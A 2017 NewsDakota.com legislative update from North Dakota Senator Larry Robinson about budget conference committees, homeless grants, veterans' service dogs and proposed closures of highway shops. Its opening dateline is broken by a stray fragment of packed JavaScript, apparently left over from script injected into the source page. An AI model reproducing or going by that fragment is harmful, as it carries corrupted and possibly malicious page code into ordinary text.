BISMARCK, enkkf|var|u0026u|referrer|kdnbz||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) The final days of this 2017 session are upon us. By all reports, we expect to wrap up our work around the 19th or 20th of this month. To say we are in crunch time is an understatement.

The list of Conference Committees is long.  Many of these committees will be dealing with significant differences between the House and Senate versions of the bill. Often it takes several meetings of the committee before resolution can be reached. A number of the bills are budget bills where the differences between the House and Senate is in the level of funding proposed.  As a member of the Senate Appropriations Committee, I will be serving on several Conference Committees. Some of those committees include the Office of the Governor, North Dakota University System, Water Commission, Department of Commerce, Information Technology Department, Department of Veterans Affairs, Department of Public Instruction,  Office of Management and Budget, and  others. In most  of these committees, we are dealing with differences in the level of funding, the number of authorized employees, etc. In the case of he Water Commission, we are dealing with some policy issues and the distribution of Water Commission funding  throughout the state.

Here is the report from District 24 State Senator Larry Robinson of Valley City.

In the Department of Commerce, one of the issues we will be dealing with is a $300,000 appropriation for Homeless Grants. These dollars are used to match significant federal and other funds to assist addressing homelessness  in North Dakota. The Senate version of the bill included the earmark for the Homeless Grants at the $300,000 level. The House version left the funding of the grants up to the discretion of the department. On the Senate side, we feel that it is important to specify that we want these grants funded, and not leave the issue up to the discretion of the department.

The Conference Committee for the Department of Veteran’s Affairs will deal with several issues in that budget including funding for four Service Dogs for Post Traumatic Stress Veterans. We have four veterans who are waiting for their Service Dogs at this time. The trained dogs cost $12,500 each. We therefore recommended total funding of $50,000 for the four dogs. The House reduced funding by $25,000. That would mean that we would only be able to purchase two dogs. I feel strongly about this issue and intend to work hard to reinstate this funding. Our Veteran’s deserve no less!

Although I will not be serving on the Conference Committee for the Department of Transportation, the decision on what to do with the proposal in that budget to close 8 highway shops is in that budget. As we have reported previously, two of those shops impact District 24 directly. Those shops are in Litchville and Courtenay. We have argued that the shops are needed to insure that our roadways are cleared for a host of issues including public safety, school bus routes, medical emergencies, fire department calls, allowing folks to get to work, and to allow our farmers and ranchers to transport their farm commodities. This issue has remained throughout the session with no resolution. A final decision is expected this week.

We will also be  finalizing the budgets for most state agencies this week. The issues are many, and the stakes are high. We will have to live with these budgets for the next two year time period.

I will be returning home for the final legislative forum of the session this coming Saturday, April 15th. The forum will be held at the Valley City Eagles beginning at 9:00 a.m.

I can be reached at lrobinson@nd.gov. Wishing you and your family a Happy Easter. Should you travel, please drive safely!